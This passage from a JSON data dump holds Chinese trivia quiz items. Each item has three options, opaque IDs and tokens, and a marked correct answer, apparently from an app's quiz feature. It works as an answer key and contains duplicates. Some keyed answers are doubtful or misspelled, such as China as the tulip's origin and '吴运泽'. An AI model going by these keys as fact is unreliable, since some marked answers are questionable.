04:40:34","status":"1"},{"questionId":"6901439003","questionIndex":"1","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__aDjOInnMJ8bAD0\",\"optionDesc\":\"红色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__CDTPPIF2Zietjs\",\"optionDesc\":\"白色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}]","questionToken":"Lc0Sx0BQhj7tIPZNnynkq9Hwg9NKAUAeCrifPgKbmg7ubozKiArYNfmXEZurVXDb5OgRfCqw84tRTwDHiOGVW49JyveO_Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:21","update_time":"27/1/2021 04:39:21","status":"1"},{"questionId":"6901439004","questionIndex":"4","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__HGLCY-LpOBcKL0e\",\"optionDesc\":\"一个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__YbBcZr0AjrT5a35\",\"optionDesc\":\"三个\"}]","questionToken":"Lc0Sx0BQhj7tJ_ZInynkrANMvof5lD97EgcqAKs-bdsWVVy5GdCERfFlFIzDeR-hA6dGg8HZKd-OGDsy27lLna11_uvkJQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"6901439005","questionIndex":"5","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__VKaPkSd2Lodm_0\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__A0EjOOtPijZbP0\",\"optionDesc\":\"梁思成\"}]","questionToken":"Lc0Sx0BQhj7tJvZJnynkrAhft9PzU8jo2RggQQMFaiHEk2ihxbWR9NFenpLpefcDK-mTIslGHaopwP1Rb17A7s01tyjCZQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"}","create_time":"27/1/2021 04:54:09","update_time":"27/1/2021 04:54:09","status":"1"},{"questionId":"8701437593","questionIndex":"4","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"I8MSx0BQiDvmQ0alnc34k0fn1AJ3UdX80bPZ\",\"optionDesc\":\"刘备\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34klk4nhxP6U0p0vxz\",\"optionDesc\":\"关羽\"}]","questionToken":"I8MSx0BQiDvmQ0byjoXjxERaL63twr-ldkjzkBTzxoi2mCeR558FjDwAYS5xRVmSD29BgHxUkhBKBBcy7dayBlP1S68zWg","correct":"{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"8701437594","questionIndex":"5","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"I8MSx0BQiDvmREalnc34ky9ieoQvOJa2rZc\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kjMg1ysASAWLLEc\",\"optionDesc\":\"五个\"}]","questionToken":"I8MSx0BQiDvmREbzjoXjw_pl6ln6_ebywwHMeHkAEPt66mur1Jjry4LHevBJZom4JJkfs6eTP-pViAQZutrEDplkHpASSg","correct":"{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437595","questionIndex":"2","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"I8MSx0BQiDvmRUalnc34kumNMcvdqv89aEgu\",\"optionDesc\":\"指尖\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34k6KA1cXJKEjbllJo\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}]","questionToken":"I8MSx0BQiDvmRUb0joXjww6qxQMIuLDR92ZwcHnSsm60tfuEKfJggwQhTWptExR3_5gDVm2NFEwc2uTargz7cGZkmzz16Q","correct":"{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437597","questionIndex":"3","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34kvtLPjidKCshM8Sn\",\"optionDesc\":\"芬兰\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34k4eqjr4iY-WdjcVf\",\"optionDesc\":\"荷兰\"}]","questionToken":"I8MSx0BQiDvmR0b1joXjxI0c4n-4oj_JIQTlDSBlomqL8LNgFDVf-IXIfrpRgoy4ikX3I8-MqaDVHGTGp24F-9-p443R-g","correct":"{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437598","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34knA0tzWJIZRQaKCCuA\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34k5PFa7EKFSqWhkhgkg\",\"optionDesc\":\"德国\"}]","questionToken":"I8MSx0BQiDvmSEb1joXjxFQ5tRhIyhUYf059yiM_-sgqkPliRuYiLOknF_Y3VswzvSqHMeIRIOlgTXX6_7IhTgqBcWGcnQ","correct":"{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437702","questionIndex":"2","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmDn5w5qe8WhrGFLnArFTlqeOiC\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Wh0e1C9sMQO3Im_OX\",\"optionDesc\":\"《诗经》\"}]","questionToken":"I8MSx0BQiDmDn5xouqcN0NDdKWExJlmWSFCkbzCHATdK5b3anTYgT455OEeJUR6lT0Y2fpY5BCnDMmULH9vzZd7O0NNenQ","correct":"{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"2/2/2021 16:48:54","update_time":"2/2/2021 16:48:54","status":"1"},{"questionId":"8701437703","questionIndex":"5","questionStem":"美国的国球是?","options":"[{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Wh5e5mIsxiHf7KzBdEw\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whusre0rKZYzbySP5BQ\",\"optionDesc\":\"橄榄球\"}]","questionToken":"I8MSx0BQiDmDnpxvuqcN0LbsZ_ThPOKnhxkK5T15L9hLj_qxpianPHEOvdJuP4-e2kizE4tLcR0HzTqQUa5gYpy4w0rcGQ","correct":"{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437704","questionIndex":"4","questionStem":"京剧起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhooAPm5f3hMFT-Kx\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8Wh_ILbnG6_knNm8_b\",\"optionDesc\":\"明朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}]","questionToken":"I8MSx0BQiDmDmZxuuqcN15U8gJUSJ47Y2SQee50LDI1BlimkCK0FBxSZstsPVaJE3jSvXXDrRZOCRVYxW5KGW_ghx3ZKcg","correct":"{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"8701437705","questionIndex":"4","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Wh8_grf0o7a4Uu_BGlQ\",\"optionDesc\":\"两次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Whkei5cCWowfPO03w3Q\",\"optionDesc\":\"四次\"}]","questionToken":"I8MSx0BQiDmDmJxuuqcN13yKU8iswZO113BOe3ciQDwOKBBskpr5goR17MUpNmSYnCJ-vRc4tFPXWfcuiVRDy4C_1sH7AA","correct":"{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8701437706","questionIndex":"4","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDm5w5qe8WhshAg0vAHpLDDZtRag\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Wh-hU7G6OxAH_UMN9Dg\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}]","questionToken":"I8MSx0BQiDmDm5xuuqcN0NEs3qcRgyQ0e9OFd4yNgXhAuXYwFm3EK3qi3oBjbjaXC3z5bl6yyAz-OdpwCYLVb9NUREtkDw","correct":"{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437707","questionIndex":"2","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Whq7JY-awkFn03-CX\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Wh8bx6SYnOzETi4-c\",\"optionDesc\":\"贝尔\"}]","questionToken":"I8MSx0BQiDmDmpxouqcN126_UytS7u6oOrsBiBJ-OsEMrgF4xxwbjs1yRP8YBejnI8BupAsq2pTlxrwLmcLLd_ZxSLHcQA","correct":"{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437709","questionIndex":"2","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhgxZn_vlRqCJ4R0\",\"optionDesc\":\"白糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8Wh0yKzdPGI7d4CrA\",\"optionDesc\":\"红糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}]","questionToken":"I8MSx0BQiDmDlJxouqcN0Pyt_r6RLF3yLZlkcZ84yAd7R1sohSisahn1UOQRam3XKK-ZvWcAQbsYMcgduO56hLlPI-UDPA","correct":"{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437710","questionIndex":"5","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhjO7qezbM0WuMmI\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8Whw5DJoiZ-0GvbSc\",\"optionDesc\":\"英格兰\"}]","questionToken":"I8MSx0BQiDmCnZxvuqcN0FZCR2cAsc19XisYK-YROSCShsks72226v6exKe4f53TcH54sI902Eanm0gNZ2dJ6Fp8ELd1wg","correct":"{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437713","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8Wh7VJUloiz8Daij-i\",\"optionDesc\":\"氙气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhjZG17DtxvPIlSx8\",\"optionDesc\":\"氖气\"}]","questionToken":"I8MSx0BQiDmCnpxvuqcN0GhECj4t7CyRx0h3eXZqP6jL4ZU-t4Cgj-zhC-Ska3BH9mujRl-yl04hHANcNSA-amljCs_vJA","correct":"{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437714","questionIndex":"4","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8Why5-wwf60pWOJBk\",\"optionDesc\":\"朝鲜族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhpqsziUhReP2Q64\",\"optionDesc\":\"苗族\"}]","questionToken":"I8MSx0BQiDmCmZxuuqcN0HOSbwRbRX1zxY_uIgQLC1W4KGGGFnE-11GdGOUQ6ZoWKnTAexwZVzZPvVeweStEPehZ_29OlA","correct":"{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437716","questionIndex":"2","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Wh3fnmjWmW4aJ5A\",\"optionDesc\":\"酒味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Whr_DV9i1cv4VHQ\",\"optionDesc\":\"汗味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}]","questionToken":"I8MSx0BQiDmCm5xouqcN0Awuc0QATzfzrEp7BAluzGJyetXq8PDI6D7RhwMeV2qDqLwI9Gh2ZrrJ2xnHpRT0QEKDH9vxWg","correct":"{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437717","questionIndex":"2","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhotMg_WtK2D0sdUT\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhxNITOqnJXqPbhQ8\",\"optionDesc\":\"美容用具\"}]","questionToken":"I8MSx0BQiDmCmpxouqcN0H7KmJKsnjCZj4rVs-5tqCg_gscJxFiOtJcp8SOyOIzWgj5xMrVsUhr1DO2KZjBcKhJ9IiGTwQ","correct":"{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437718","questionIndex":"1","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhqRtPcG5Yocwxz_3MA\",\"optionDesc\":\"冬季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8Wh-3KipJIUEMcR4kUuQ\",\"optionDesc\":\"春季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}]","questionToken":"I8MSx0BQiDmClZxruqcN0OAq1hUOboLawK33o1g2ReSgMKWTTEbI_G97odeWNpVDK-mmsgq6lorE2zC0Jm91g6bhaETWjA","correct":"{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437719","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8Wh4_yT81YdccttRuqag\",\"optionDesc\":\"商量\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhuC-NMPJj0UGLyNuZQ\",\"optionDesc\":\"钱币\"}]","questionToken":"I8MSx0BQiDmClJxruqcN1_Wmvo7E6tDwyBhAtyHdCAfwieuDYoFzbKWrtVY1lnOfS-LpnnIL-XgM3E1dlSwyMYfMXDFHXQ","correct":"{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437720","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whl3OduDU3znp_A\",\"optionDesc\":\"韩国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Wh6k6QIRdggK9yg\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}]","questionToken":"I8MSx0BQiDmBnZxvuqcN1xTSiNuzTew1Hn9pe6zyMWd0vgXgC02OUu2XOktYjABb8LF0niQvrBBPoqS0LDsc1aLhsITedw","correct":"{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 16:48:17","status":"1"},{"questionId":"8701437721","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Whpq64LQ1ET1r1rHo_w\",\"optionDesc\":\"扁鹊\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Wh1D7wLAduYrjJHkkGg\",\"optionDesc\":\"华佗\"}]","questionToken":"I8MSx0BQiDmBnJxruqcN0HYfnXp9v6kY_kM1lj0Bt5Yf_CWlsPV9b7zRnXZfm8x0jEnePudrpHuRJRKgmkDlScmqPq3qSA","correct":"{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"}","create_time":"2/2/2021 16:48:22","update_time":"2/2/2021 16:48:22","status":"1"},{"questionId":"8701437722","questionIndex":"5","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8Wh445-ZmiB8YtMog\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhtYJscl0zuTX2BU\",\"optionDesc\":\"气温过低\"}]","questionToken":"I8MSx0BQiDmBn5xvuqcN0BLOJu1Ww6hw2lboq7VTnk_E7G7XWX6gZtd22VQ0UuuqAPVA-JuPvca11GclODZFe2rXEkvj9g","correct":"{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437723","questionIndex":"3","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Whu6ayYlZy0ykb5E-\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Wh7v8k7AQQ0o1DVze\",\"optionDesc\":\"40摄氏度\"}]","questionToken":"I8MSx0BQiDmBnpxpuqcN15s3geeG_GEB4T_nqo3PFDmZtW4L_m6UXN5YLBpCoI44s_rD-uzrzmcT0qa0XPb_L8OrJTZ4ZA","correct":"{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"8701437724","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Whlq6uVZ3NSzW0QQ\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Wh3bChEic9QYsVA4\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}]","questionToken":"I8MSx0BQiDmBmZxruqcN0I0-gH_sV5I8JER4jh0Io4xHk2OZr02r9EH2zqi4TGN6tYU2CvAurWF0zQpoOBTDVWeFkfETLw","correct":"{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437725","questionIndex":"1","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhjOVpYdeLZt1hBDt\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8Wh2vJuh01HfrJVatJ\",\"optionDesc\":\"元朝\"}]","questionToken":"I8MSx0BQiDmBmJxruqcN0M-BUqSc_iUfFrlgJrO0sxJdnHR4LxiKa0MgzSCij1_kvinoPznU6XH2kO6QV4vk2mWQQY-OAQ","correct":"{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437726","questionIndex":"5","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Whr8UvMLh6ij0mNYZbw\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Wh478MdmA84AX11arGQ\",\"optionDesc\":\"马\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}]","questionToken":"I8MSx0BQiDmBm5xvuqcN1_Tk2q3fX-ntiJb2Stzb-Vn-jv8U5vQqvJvNQHJnTxE3qO72H6KOPisORmrIBLdnRdcqDePf6g","correct":"{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"8701437727","questionIndex":"4","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Wh_bloCE6DNUE_55U\",\"optionDesc\":\"小神龙俱乐部\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Whj1bZoz359u6mACV\",\"optionDesc\":\"安徒生童话\"}]","questionToken":"I8MSx0BQiDmBmpxuuqcN1xecXOMQV_OHpww7XFNhWN_p2vzTt97HSafKByTD6WUyPLsk4vvEPjdGcg-FjqL4FAQtoJpSzw","correct":"{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437728","questionIndex":"3","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"I8MSx0BQiDmBlZw5qe8Wh6U-5_2JbcUwVEX-\",\"optionDesc\":\"白色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhjbgaKWpxdn6ohDw\",\"optionDesc\":\"红色\"}]","questionToken":"I8MSx0BQiDmBlZxpuqcN0KPPYiuRtK9LXRYlTNooc65nWl16H9nH2CYx5Mz6UA63bPwE1ZE999ESGXFsVrpbDwEeWiiDRQ","correct":"{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"8701437730","questionIndex":"2","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhkZVxrU9Si860g\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8Wh9wp7yWYObnjAw\",\"optionDesc\":\"一个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}]","questionToken":"I8MSx0BQiDmAnZxouqcN18k_HE4sXGsCLLcGKOt4ed37J_w4QacxePgbiV9SGvUxjUqV--MFtnmhD561DmRzeovxOmwuTg","correct":"{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437741","questionIndex":"3","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhihXzG048X9RK1Xg\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8Wh7Z-WLJRFuBaj2Ae\",\"optionDesc\":\"梁思成\"}]","questionToken":"I8MSx0BQiDmHnJxpuqcN0CrGrOl6UQGzC__AZ4b50UPe3jsJcZiVCGmBRWlF6Yb0mjyyEwaO-VtlmobdkBZl4LtSHrunag","correct":"{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 